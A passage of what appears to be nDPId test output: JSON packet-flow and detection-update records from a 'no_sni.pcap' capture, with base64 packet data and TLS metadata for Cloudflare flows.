cb4u9Ll++occs3p07m9mAgDVy2\/fbJEwnkmTf7RrA3smPGrjkopVc0yBnuAezpNSYWUXnN4z\/pxbXlYmpWAQaanC0haKXKpVlzGV2ybBABN3wjqVHOfmrD3A9U038GrWUFXr5P7e7hvqDdhUtR4mUBz7\/VRegW5s8RH1z1EGIhuhk1SVVqk50spv7n3smOmhmiR3GA7mGskcvlctTRGQ8jbkwNYpKd1HF\/rfnSYe4FM8LKl35MH7o\/C47hOIUgojPzOY="} +00862{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":882,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1604822447249,"flow_last_seen":1604822447447,"flow_tot_l4_data_len":2133,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":355,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.17.198.37","src_port":51636,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"951c558a-5e07-47ca-a0c0-225da1b33163.is-doh.help.every1dns.net","ja3":"1fd36067223570569bbf156fece40978","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02046{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":447877,"pkt_caplen":1262,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1262,"pkt_l4_len":1228,"pkt":"eDHBvV4kEBMxuRBeCABFAATg2NNAADcGde5oEcYlwKgBdwG7ybQgqb4hGMRKC1AYAEJ0OgAAWzl5kO9BIXBvC41eaDfdG\/GykLbuGlHEboftcLbdOxDqiBq5aOI3Ijy+fRG6TOTuNC9FBclXUCZmf\/xPuJl4EpijMT\/qyEjxeKvDK9YNaZqIQWs\/XskKqeVzJzh6PhzzQIpu2Tg0dAz6Kel+shW4DDqhItRgsqZ+YAneBWU35XpB5bA5jDMoIUUVvHuK5Sr+7hOXPlt+G\/ATnSyOgdiaRUSvOlGRSipMs4r4dpPvwlSCPzzgSSEQfRssZl+szudeu8i1gzIpRI\/5kPZtjq3+YX4vX3REU1t92UNUB23GUdu0tgIGnMQWYOyJZCwztDYwOPJewFefNpIeDeFZl811+88K7Nee3rX5LZ7Yg2gyl8mpEyCyzCjWqpPB+dVLrUN04DCkhHrfiSkMVQvAew0XtLNsk7e+Pv+PRze21KZ1QQGP9PhD6EID+NAOrSZP+lT9+AGiUNvhp6tLYJoq3z01aHM637giPloxE9RipOMp3mnGHh6tNqwnxccHptW5rp8gbkx1CEAk0ak4em7tZ8sA67HzckjGeFXu1Qo\/S2T88PnmCU5z8HRYxo593y1JWCp7q+TKHtk3ose93EypXg+nAMJmiayn9jvFPsucCyRpcsqHlmC2I9tKi0fVq00RQ5bLUV6mad1AWOQ5Vy\/7OTpemVfg2YMODhcDFZEK6CHz9HqU+YnT\/vanI\/OfrTWkcoPpb8zte8wxLGE205j4CyPQQixzTPHOOvo6qBfzdzWxKbRn+eGH\/hICJ3BEGD8Sj+EBOrP3ElWDqidjrpPxim1eZvQuTbzzZyUHn2Y58nE8\/VCzQOC766Wy7KYRSj1zQ39Y14LmiK8PFA3yd5yA0XzavbjpeXghZNbX52zg9XkmXYSPT11nrXRwsJiaW52LSAzxZQXCH69TayX5Z5AkgeWJHMnzQANtdDxP1TDmknOzhKfMTG37A8Hjov20Gg\/+lZK5F\/NBAOO2usabZduNYvT7vKb6jENxja9QcZEiYaOtrfPkH86LMGS6Je\/YeoOG0RqarIBzyxMRqdJ+POOwigEXUr64cAQBlOBUUi4yKt03uvf5uUhs3+Y7Ovp5dA5A08KlEddDIif5akZWDdyI5FaxhfTww\/reuytyr1hqbsJSfkKDMngUxLeNwQAbvo6y9YNcgg1V1vZ5Kz4XZuRSgLkUxanDF8PYsGxEOXU1Xjq5dNfsn4nDLJZzAR0coBOtbrxoTgMupFDgo13Di4VbKAyJMTn17RUNlMFnn4Wi8DwihLArqtaCGXzH3JabdbNRqJ7fRyM2tKFj71t6J1YEch9UdBYPGb7DJpiUe6+Ib5XEHvKnalLheZ2CgZFpFtJbDZkl\/H6wZwhtRFcU\/OhSSEcHdKt+3KM6hKJB9tw6eFyGluFqSahGsP7cEEXV4MRjS6WwV5xkpt5HtYMGftka22mO1zI3rw9A+4J78FoDnfO3vMB2kVtSnJIxM42x8db\/XJJ6mSKsttWCRp\/5vBTV1XkJf2eRwjq4uf0IpBctAi44G1gKb9b7FKbdcedOsCXYG4VpWIGlg1z4vsp564HVr9huvv2cOBEBcXOesyhiNq8GEksf20XcC+yUVcw4elFS8mlM6\/3cUMvyP0g="} +00407{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":447990,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGSnrAqAF3aBHGJcm0AbsYxEoLIKnC2VAQD9ad5gAA"} +00500{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":457175,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMxuRBeeDHBvV4kCABFAABoAABAAEAGSjrAqAF3aBHGJcm0AbsYxEoLIKnC2VAYEAD\/PgAAFAMDAAEBFwMDADVYttBPRczgJAloPBpUJv43CLzx2C6zt4Xiqf2J\/YhsPWHk0Thg\/pVwROSjKdfU9vq9bsa9uA=="} +00640{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":906,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":457930,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"EBMxuRBeeDHBvV4kCABFAADSAABAAEAGSdDAqAF3aBHGJcm0AbsYxEpLIKnC2VAYEACD8gAAFwMDAKU7ts+bpvRBRuGHt5ewY669+kmmgJnXw5TC1+1BLlfIY+NdTt5Cuw4Y5rP5GVA3URuXUFAf69U\/UwBj4UaI4lGD5grTUDVOO70KDaKHDZ2gbt3FAh5h0vVa+aFfLxdaSUx0jc0yHT0Edh5Oq4QW9M5zjDg4Op3s7K50vgHZ1XRZIqgW+ms6crNBK0meos+WbqRBAfj03LsqOHCc0XTIAESjCambhSc="} +00866{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":907,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":457980,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"EBMxuRBeeDHBvV4kCABFAAF0AABAAEAGSS7AqAF3aBHGJcm0AbsYxEr1IKnC2VAYEADRNwAAFwMDAUcZHk+iKBCZCSLsvsnISUjbyW3jl0DUTUK7cPphaI2BaeXdvVzdSzVbGD9Izghvp+mXUOXgj\/bs+j6oCtHr0RfRuD0zHFq\/na+wv3yQK9PtaDRKy3uJylRZFkLDJ9\/rHlSEVh84KjOjJIUivpHK6xEazQZEWcUcipppIOHn8LeyV5L\/MSfa+u11zumMNM0CoX4LGwPmrzoGjtlezWcohyGa4vel1EkIqhXlFWTADjIj5nhWkXCH4oIRNfMygXxoN2PrYN8HtYG1rpeGgBD0+zWrvr6TzWLydEa0pg7PAbSRES9m\/9IsqURXu+ng4NaTxNu1NIEtslNHj55pm3JIb\/lygEji3k7++9o01\/CnQjVeD\/\/OcSe\/gClkpB0ZS23CD5RLC7XGhNzFLwvu3t4e\/Nq7L1PotzQcg1jg6Alu6ZCPsMZw+vcuPnI="} +00415{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":498308,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoH25AADQGtIJoFkiqwKgBdwG7ybVDiAdu8KRdulAQAELX7AAAAAAAAAAA"} +02389{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":944,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":500011,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kEBMxuRBeCABFAAXcH29AADQGrs1oFkiqwKgBdwG7ybVDiAdu8KRdulAQAEKvuQAAFgMDAHoCAAB2AwOfUG9UnY6OKS\/r+y\/oX89OOM3yixeyQXCggB1Eg6g2ECAC8G++cc8\/RPDfJFBfMKnQnmiwhlHCQVzbLmLhap\/o+xMBAAAuADMAJAAdACBZuoVug1CQDJcZpuhsAMMNX74Ws9J51n02lEDr1IEVSAArAAIDBBQDAwABARcDAwpd8oOT5SAk4TfaLks5a9vdeMKaJmjqcEO0nZZJ5ytiSoI7txfMubRz1GYbVWgyzFmBxh0nzkEzisNAJaZamQ5tymuq4XMrKsaxeaEWiky9yRh2MWVxuKWTAsvnh8AvS02YxArdYErDpiZqKbwZijpkFFiSUrD5Z789B1soMWgkA73+InikpZrFkPxRMsQ\/1M9Vi40JJm9hXCL90BkqQ87IkRbNG+89jrg1vvgg\/DVZjPLinWe6BCyIOQ5LLNMjg3d0gk7LI\/J+cyazKqZSgq4DuO+sx9aDwGsZh1o3PN87fhPZapFQNcBfMo4NLz6O2azxnvM6us+waP7W0ArM1M3WsJ8a5hUjhAKyAxznsLZJyXABYckSxhXOOMNaq9vva62ZFIDAPppVHvama1dLK\/Pi+aF3HF9Snx9w3Y3pAD+GXA7gIILtIafSNvdf0iudtkXtJKTNkwdMymAZzCwlLVLRPdfE\/Ph+poF7kwswNv7e2th4CeDGcfvCSL1gj6\/i6Ms4TY2vOS8o8m6SLwxOEi0mxDtQt3HrFiVGGeQ9TdbD4R+6cbJpY+M+6e89\/ESLhfK\/OF4xNmdij3GqR3Gpqlrz0BY\/5dXKgCzCiNhTiqvfAk3tfj8DzpVgJRpa952b8b9+2FJDMb5eJS4d5ToZOAx8WnKeCLdnXJwVrTTySF8hI4rl4Ar1RZleLGp+dM8xOS1loObSlB8XVWaQhmt4J1ZTdpsnCnwpTXEo\/y6TZzJWIjn\/q4fqijVNh9J4h7bfi99JyZ2jGcRIiDuUWXu4dZxwHrc4uW+9XQOHgHer+x7TBIrQ5NXatbll+n4c8dPV74GNieTdq6OwcuyWjUDFhogW6mAD0gSVLidKeO38SfKZH9JVQLGt4TCEL9xxMLQ1HHi9iH7y14gg8QzBI1Xz3r3aOLNQDA744ylSQlRhpF5c89JY\/6yuVghb2PYMbiEHFzQPCsp4YqzIudalf66Wvu7zQEE2byjJdVcTTglm+U\/+g6EVfpoQdDplfYKD+NgxpHroTKcJPiGDQwYZjMHkz\/plfEZ3Vaq0GBdhkUkeF2YvXAz3N7nin+lmfhpNJtALViaoSVYjHUyCzSZ+RDotB7pt2n+qEOXGnJ2wNe5Gh2C4kak6srxghAv0SekQVYvJJkRKvwiZ5Gu87YhcVOXIGewzJHIUDis9D4zeht8rcIPMGSl1oRHhj5lT9vJaJ6CE+RjgV1FKOMEvTfHi+z3poN9tBb5cPXbg0poteugEtx3jLYWgNLEw4\/kcLJfG2EVcWJtcTpDwdIqW2RPyl400YsaF1EnohkwSK8rMERtNeSZfo3Onf7w9suMVDTDc9xWC1E\/2FzK9pKajKGba2Rxo4lvKX4wgRU64P1NPBf8y+V3PbzC7d3vza9QsDqNqllo1jjHeqIxs65yrh0xg15VwpRye8G8cHqepRRH73Bcm\/3AnxATG8nNx8Rq\/U2NgbNyZkeWy1WUINRZDYpauuzQe0vQPcCil3tsff0VQURRjVWIrRvtPhCqvLoC\/C5\/BUn0sYWqJnejsed552GN9xHhZokbJONcztD3BK\/EUo+eD4KpFDEOL3G8sxtHk1aVW4CdMlHPMsRxBStp9HjDoyATkSBSgbzdC4omMk75zF021TNDSf4h7r1u4T\/5SKd1+RKQmH52djYAQZoYkqC1Q3MF5I+WxxMkqZ5LD9EXw\/oEVaMheRCEuppSA\/htlEBkzREBQ5B6tuSWdaBCSvjf5Xw5zvYdBRkap4+zgUFlkKWY="} +00800{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":944,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1604822447287,"flow_last_seen":1604822447500,"flow_tot_l4_data_len":2328,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":388,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51637,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"","ja3":"16fcce72c01e54fab4ddabce048c0f5b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02214{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":945,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":500684,"pkt_caplen":1385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1385,"pkt_l4_len":1351,"pkt":"eDHBvV4kEBMxuRBeCABFAAVbH3BAADQGr01oFkiqwKgBdwG7ybVDiA0i8KRdulAYAEIRuQAAZRTYKi26RWXUWDYycC8KoD6J1\/U+TR8nmUbmCANL6XXXw7bxDSvAWzUNtzSbBrb3094dDU8jpJOuL+67gSO35r9Garacxn40f8E8upz6YY3p5esVjD4oBvZu\/c5jgk2Xg7xsc4\/1rdLUjlSPwFMnuNnb9dFyDs4JsSErHuPFRb7\/9uQJ9lRy9rq5LTxLSPjZaDqiiO5mUvZF3Q1B7OjBFMZI1kPsMiiEsT9VIQpE2vJWS0vj\/Ffx7X+7uWY16+SsEfEnuv9vzeZl+EWpj\/xL98DSfcVHzW+euQbgrP2ZVc+K7IznbqiQ\/SD4DUJNwOpgU72wnmtCCPbocl756rbtlJKGpPUWX0WyiX4pkzMXd4BoPLiDBRRcsNWQ8\/1xgklfbH8ynonUZ2gJSnY\/5nPp69bH+aD+LL9j89JVAUHdfX8uCNndYH9zHE6uiQohHCb5y1985prHbgn9YygIBv0HAJNeuqn+VwqK5mP6u8u5XJ0102+77ZRCbTcHEtIDqoKGUS+kLo3IONsQPNtnYZ4YteK4mUYhMO74\/fPzZa9qQIWrEsbg87pUrL7s3YQ78JHCxDgPEzeohGSelzG+D\/wK0f7sZoEWfYHg1NbaazwS+OyLsPZmpTwL+lvWLzcSZHt6I8w2aO2yUIKmmL+TKEJuwqVLW6DaOWpL5v0TUBHcdE2NuWivl3DeWwkliaIPF2Mecb7ByhJnz3fsmZAfsF+QkO06StrEnuOy++32PzHfvpBE7ksq5TQElGYiBurgCtfhFP10Ps7MRkROczZ63G1kFIeOFNAvXx1Iz9UKHNNzMok6eFrADapcw8RxdzhearqUptbu2ijdw9Rqxo51QtTMNw4KrpiNqapHwKiH5fwEBXEjfwDNUCXsZEhgmnNYB6VfWOZqx7XO1pC2Joe9Wk9cZgknXjmw3Nh4M4I+tnzmqHqOf+bKn9upN4MTdXhVwtJA1M4EHoACwp8EhlW6juyfEO5oDX4eYQb1quLbdETkBEAhz\/T4nhgLaeeiIL\/mCWdukyLRZsnQYaCdpLDs7pQ5evApN4+GwWIsRg8OKpeLme9zvLEwcRpyp2ul71WvIKgaJkz85jT3wTF8GpT9h6Mzp6Xp+8Vrglb+mC4gjQIDypVHoIVEZPyRl+6xbcvj5p29Nxl\/jaqu0KlAm2pM5sPI2kFNm4YVI5nUFnzJ+PgkMsfdcVL0uIrj8DwoxQX9rMjt2pBbMVa1AmMdq5a8wXTdRLqI5YF02\/F+4c6aRDV9wK6DjY\/0RoKwvrq2J3\/AOdS2\/q3mkp\/5xm48\/zUyNM0+ejSkVyPCrU0Iy6wkb\/KtdwJ4AsCCJRnKgWoIEOctoj40X8+ghLxMeUHIgcCACbbYNuMy\/6ftfbr83SxK8D7jU0Vjtallwhz7n5sYX1p6H1B1oXSPWQUHc7Z1iJxBvZqluiIACnFtuYoaDQloh6KMiXSVkmk+hKgCimqfC+wBDY9zVnTmOCpfYlCl6NsfOFq4Ptu95B1IWFhjAzEgxxJmywzW\/Y9pDMY\/qDAXQ6SMoa3zqH6RCc7+dvYrwuKkY2ezvVpODOBKmmfodDB5CgnIp4rWpGuggTUmE2FaN43ev44fH7G2mdqmnsEVXPpjZrsnKRPTRqXsAMDRZ+Cwj3o4tM+rhjg5rJKszM2pfTFhPkXO3B+8AckpMyf5Z0BIfMs1Ojwy3kEBDmVVp8ZCUCCBjyXCImbwhmhJX\/SAqgoos+oualrOeiSc54PRDzncNkykTzSBEysjrKMhjqiABGLrvFGfbE0="} +00408{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":946,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":500750,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm1AbvwpF26Q4gSVVAQD9S9cwAA"} +00415{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":947,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":502334,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAofoRAADQGVWxoFkiqwKgBdwG7ybcBQwC1AC9kslAQAEIKZwAAAAAAAAAA"} +02395{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":948,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":506495,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kEBMxuRBeCABFAAXcfoVAADQGT7doFkiqwKgBdwG7ybcBQwC1AC9kslAQAEJC+wAAFgMDAHoCAAB2AwMfXcVCNaz\/fAs2rU5ZzD5J04BLepz+MroJMKH3tKN2tyCv0oSr4LDlh2WzJ9HwxgZARteBYDIbmU3nj0BJKwky+hMBAAAuADMAJAAdACCskIRMV85w+ZPJ1vL0JbaE4ZYP76++8Ac43Puacwa1VwArAAIDBBQDAwABARcDAwpcbwLSbTBspd92QY8m8WlLX6rn5jEhK7FGWhwcAbaGUZ3qcpuvlSGrzYR\/To1N+7urkKnx44fQlZR+mcnXql2mACUZLJWuUfITzVaQE+riICcrOjiRffFMdPwUQpytFIuGd4DLqUrANeWyi8TRfd73QVuU11JnLj4mSzy0qfz0i7VK+ldeKczfL1+lRZEApyY85v8NsmqQVZgT2A+G904fys5XfZ6girsfDRruvRsK69WV\/5SEfYyg9hRqoib+XYAcsonJ5FhRl7LDlqjaHF43KfDyqU4H1NJ4BaJ7\/rF9binRf\/ZmTx0S0XA1IRFefIPD6xuf6lnabGdO26J5C35pm3C2Hz1RRrJnL3Z6tQv+8OgWz8t\/4JdWAlEcmzpD4kj1FYaxx4CJqYfvuCvyKfJ6cX\/HIq\/CW3TEHUIznaihpfwCBZFYmwYI+y8djJsVWOtCxkujtnad9r\/1aZigVpufZpk\/FalrXp7+mdL8DyGJEw3fVvoVk1Ox71sboy1p9V5f7wZrNB\/PBJvu42dbmdzR720bSb42pukuP3t9FzI9iwwQno1SmbQQISqqcXwlKHVaDmOi8OFj9iicpAITWbrGo4jyE7ldxnCXpuOXI4nBlwJN\/B75tZf2hv8mwdSEpTzPutlT35s+7SQrZnjEhFNiMIopzwoDKMqdVVIh0\/IRj1Vrg1cC2caYmwU0UY+sCdTPBIEVXn6jHeNcS3tlJ\/valrzohW5TnBbMuw7l9o1bn38e1NDdBLwfsoWfsihPdM+T5O1cZJOYN2i64cjDtQiC\/1g1u7eeGx8OJwNpFx9Pz+pPx2eLNqSjqAttYQkkx31mXysPjIaf7I7NbzFn9J0D9EGCgcomrXvIfIx\/uOelPiZojV2CFosd4KbvoYGZFZy4bid7AEkIUbYx+ulvEkuGQdiuJPfi0muuBjOf5nsS9SzHqEFC53BPvtcO8ax5MTP2APmqNv9EYBNKXlaE2z0IhQc7Sxyeqo1E871rXQC0Q51GpX+\/Mh55w5gUGG2WuROO\/WIt2bu8zx\/cBwzG+4\/lLbOIfrcllHOq1MkEdfldTuGZX5qpHXBQM8VtrV\/ORSODt8vbZW12CeNDlbmogWxKvXyMfDCKMxr2qUTlPjwa1On1MmKdzNqPnJDKwo2ZWboIudihf5DNdrIhX2fKXR2rd1h+hUXYtwrdUbFpeHWq\/Yd4pRqtk5\/+oj78UcO7xbfmDP\/2ZOAq1fiTYjWrRGqekGxGDuq6v1NwRM7ywqNSoinCEWqQ0ZWLFN3va2\/iz\/y+eouXzEbGNv8XZea4aBOP74dXxbmQSeiPIS8lhSN4ZN5GwHywlIShRYIExAs8YKjuQ1XciszqwRzkFpMie\/HVqis7S9YQL7qoQmOKXPysOnMjZRtVku6mPNb6kPrT2D52ZO18Bi27GKWSdMlKkdXxTSj8GIEL5JjHNC2LyQVq8+trR1ON1i1hA553erKICGq59BsN6yTNfUmADm2jwYJoskq+ZF\/kgrg\/HEqSbQofgGgXoguUEDnHzlvAiLtNtSeXANvBdhUDwPChf9lTjMYkMsQ16z9X5OZpV9n8\/ZzLeQvgI018qV0TMsnz\/DhLmpm1G5oIktBtHMyi80vI\/GiSevWflDYIdahNwQgdlLkXZjSQpYGEDy7pFXWo2u66fn8o8Wi9bFhkzDDSW4jTt2Ym7J5OsxVEySEYREazj0tJHTiOQB53sa95QYL+Dqk+7jeBYkZWtQHByUO\/JE\/+Skr+dPf8+YFT4dSXGy8="} +00800{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":948,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1604822447287,"flow_last_seen":1604822447506,"flow_tot_l4_data_len":2328,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":388,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51639,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"","ja3":"16fcce72c01e54fab4ddabce048c0f5b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02216{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":949,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":507385,"pkt_caplen":1384,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1384,"pkt_l4_len":1350,"pkt":"eDHBvV4kEBMxuRBeCABFAAVafoZAADQGUDhoFkiqwKgBdwG7ybcBQwZpAC9kslAYAELvfgAAu2FTAFEKX74Ye1T7NrDbkSJkx5dq\/qk3FRI2briTHDsRZH800dalqhGHLpFEGIOLL\/U0ROBh9xY8KL2qAd2AXfdPQZorFk0wte6hl8K+BMde179\/iGf2EiuOvIhkFkCS1g2v3pVK6ZLrJG94tXNXRj4pCp3j73bwco2zBTvYGLM9QwNGNRQlSKe1vxw+HNVv8ONVAVuzu3qY1rHAZVFxWOWpytSI5rwyUKqHRRoED2maDLoezhkGjPvzET\/\/p+cQEg7VvujrXYZJQ0ap+7avrMwj\/C0wo4k0gmSJ\/PKem51T9rVii0vfC0LKsFQvS2mXZHxRk3PmorF8Q9IiHjKh7rqI7vrAibOXp8RtV6mNOg83T5SHUcNaoUESsvtlScZlio\/9AQlnA6B5UAMkuMhqrELSgjtd8UAxvwxLlZCpfZMij+Bdj7pphUJmUXYGVoGOL\/nwR10ouxcmQrXhv3yUtEfvRksiGbvQ7ob+j8YO1Xj65cK2xw6pTXOu0AwLq\/g+9PmflgMpNOfG1FVT3daJBGddMkOS3y1ug249dLrjovOmFj4CnkRjAo5RdBgZESzEHiPhGlp82aEnzAGQ3tcfLr0q8r+jpToIooIVpTWhW4OUzqbTLcqZzA66nPzl9nswNq7m+qEOyjyriwiIO1NTT0QlmrIx81EtFNiIBTKG1WXcMVDn9L9bD5a4FizAm+6Bnl\/PUDLkzVHoTSq\/mVdC\/RVA3RbQ4n3MM7LhkvEZ76IiBEHk9yBuU\/8d56kphGD2AV55EgLfk9F8wTxydKsOoY0WKAj2+yupKaDaHMDeKU0WtMg68tZefaM0bwmx1FqXqVFLnSo61PWW8P8TZn3ktv12MHdpimqxamQ8AqsjtTpRooVJDZgv+vzdkmDN6tbZFYo5BETpHGSB7pcG4ealL3VZ8zlXcvMLX04uqvd6LRb++dsdiEysAzlEWgaZM\/q2Yml7pktkjX9lksV6mopO3xPMGEjirL9Qo8RXjDq+2Z+3enwqaUF0q7RzMIIiXuB1JNd38S1BG+gmtNkLnfyqF6ik7Vb2qjWH9HciujZiPsVEj2GYinTuttZYYjcZxvUCKLCcTie9IdUrju0ucATPLam4WhBtYZKVqZ+etgbmt9Vh2mZXHLOHYzaG8zRemgJv1zg3a33kdMOd16AxUsXdnDCIphS+e5akrtMfbvoqcogN8SL\/W8h7olA0MSE8pTf3rVzva2scpFOMuKXAf4fwRFuG6ajTGcGyS61AUV2IMYdWNhN5fWKVwIM1U0TnuWL3wr22SP9APaMDAcf0p30spFRLAs1mfETmVwx69qOJlssiXOuBdVX0p0LTIX0EDPhGN\/Lg1JHw\/owZdZUxW4WW7aHT1hjIa\/zeY983cqEBOELxxBou+hflTDgKy0IiF3oP319hA47jyDKuNEqjOHyu\/KhjAhY33pJB994wIsD0Jaf4M19Pm9oklSAVzWbPdtW1qSIRRfF2I0sog1BBRDo1AXW\/+5HE1bPyOr2roYoqEDxn1aVdL4ZakP\/TDunCjY+rp3a4XF5J+3oUpD7GcmhMW9E\/00EV\/+ZSR9zqGwWvsjUUlLIWU3S76ZodRArU+YqOJeuMHjg\/rRvoJQf5zSBnjkF6C3bZ4qxzl0cn6WRdjn3sg7zCPczzMslNdd5Xig1VdoARk9OkwH0bzR2pVItWWYRJ4BL1wSYvJ\/j2Vgnsj+59u19FVDPBP9j03jPNWNVukLJam0h5z1gnOc\/HSekHBQevoQEJQ5+onw8NiM2XDNHqPA=="} +00408{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":950,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":507455,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm3AbsAL2SyAUMLm1AQD9Tv7gAA"} +00415{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":951,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":513175,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoowNAADQGMO1oFkiqwKgBdwG7ybbraGnzSz6N4FAQAEJCxgAAAAAAAAAA"} 